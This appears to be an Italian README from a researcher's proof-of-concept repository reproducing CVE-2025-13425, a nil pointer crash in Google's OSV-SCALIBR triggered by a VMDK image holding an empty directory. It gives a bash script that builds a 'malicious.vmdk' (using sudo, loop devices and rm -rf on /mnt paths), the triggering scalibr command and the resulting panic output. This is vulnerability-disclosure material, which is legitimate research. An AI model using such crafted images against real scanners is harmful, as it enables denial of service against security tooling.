
Questo repository contiene le istruzioni per riprodurre CVE-2025-13425: una vulnerabilità di dereferenziazione di puntatore nullo / superamento degli indici di array che ho trovato nel progetto OSV-SCALIBR di Google.
Per riprodurre la CVE-2025-13425 segui semplicemente i passaggi seguenti:
Step 1: Clona il codice sorgente recente di osv-scalibr:
$ git clone https://github.com/google/osv-scalibr
Step 2: Rimuovi il codice menzionato nel commit di fix https://github.com/google/osv-scalibr/commit/e67c4e198ca099cb7c16957a80f6c5331d90a672
Step 3: Usa la patch vmdk.go.patch e applicala a vmdk.go con:
$ cd osv-scalibr
$ git apply /path/to/vmdk.go.patch
Perché abbiamo bisogno di queste modifiche a vmdk.go ?
Questo è solo un esempio e questo bug non è limitato al plugin vmdk. Questa modifica è necessaria per innescare il bug. Il bug si attiva quando qualcuno scrive un proprio plugin che attraversa un filesystem virtuale contenuto in un file. Il bug risiede nel modo in cui osv-scalibr gestisce i filesystem virtuali. Questo bug passerà inosservato durante la compilazione o la produzione, ma si attiverà quando l'utente fornisce un file vmdk che contiene almeno una directory vuota.
Step 4: Compila il codice sorgente per ottenere il binario "scalibr":
$ make clean && make
Step 5: Attiva con:
$ go test -v ./extractor/filesystem/embeddedfs/vmdk/
Expected output:
...
=== RUN TestExtractValidVMDK/DiskImage_1
vmdk_test.go:87: GetEmbeddedFS() failed: unsupported filesystem type unknown for partition 2
--- FAIL: TestExtractValidVMDK (1.35s)
--- PASS: TestExtractValidVMDK/DiskImage_0 (0.02s)
--- FAIL: TestExtractValidVMDK/DiskImage_1 (0.00s)
panic: runtime error: invalid memory address or nil pointer dereference [recovered]
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x20 pc=0x7613e2]
...
OPPURE
Puoi generare un'immagine vmdk maligna (o minima) che contiene una directory vuota. Per fare ciò, crea un nuovo script bash con il seguente codice (ad esempio gen_malicious_vmdk.sh):
#!/usr/bin/env bash
dd if=/dev/zero of=valid.img bs=1M count=20
parted -s --align optimal valid.img --script mklabel gpt
parted -s --align optimal valid.img --script mkpart primary ext4 0% 100%
sudo losetup -fP valid.img
LOOPDEV=$(losetup -j valid.img | cut -d: -f1)
PARTITION1="${LOOPDEV}p1"
sudo mkfs.ext4 $PARTITION1
sudo rm -rf /mnt/valid*
sudo mkdir /mnt/valid
sudo mount ${PARTITION1} /mnt/valid
sudo mkdir /mnt/valid/empty_dir
sudo umount /mnt/valid
sudo losetup -d ${LOOPDEV}
sudo rm -rf /mnt/valid* *.vmdk
qemu-img convert valid.img -O vmdk malicious.vmdk
Ora,
$ chmod +x gen_malicious_vmdk.sh
$ ./gen_malicious_vmdk.sh
Creerà un file chiamato "malicious.vmdk". Ora attiva la vulnerabilità con:
$ ./scalibr --extractors=embeddedfs/vmdk -o textproto=output.txt malicious.vmdk
Expected output:
2025/11/05 19:02:45 Running scan with 1 plugins
2025/11/05 19:02:45 Paths to extract: [../try/malicious.vmdk]
2025/11/05 19:02:45 Scan roots: [%!s(*fs.ScanRoot=&{/ /})]
2025/11/05 19:02:45 Starting filesystem walk for root: /
2025/11/05 19:02:45 End status: 0 dirs visited, 1 inodes visited, 1 Extract calls, 124.392222ms elapsed, 124.392999ms wall time
2025/11/05 19:02:45 Starting filesystem walk for root:
panic: runtime error: invalid memory address or nil pointer dereference
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x10 pc=0x1fbb303]
...
CVE-2025-13425 scoperta da Yuvraj Saxena ([email protected])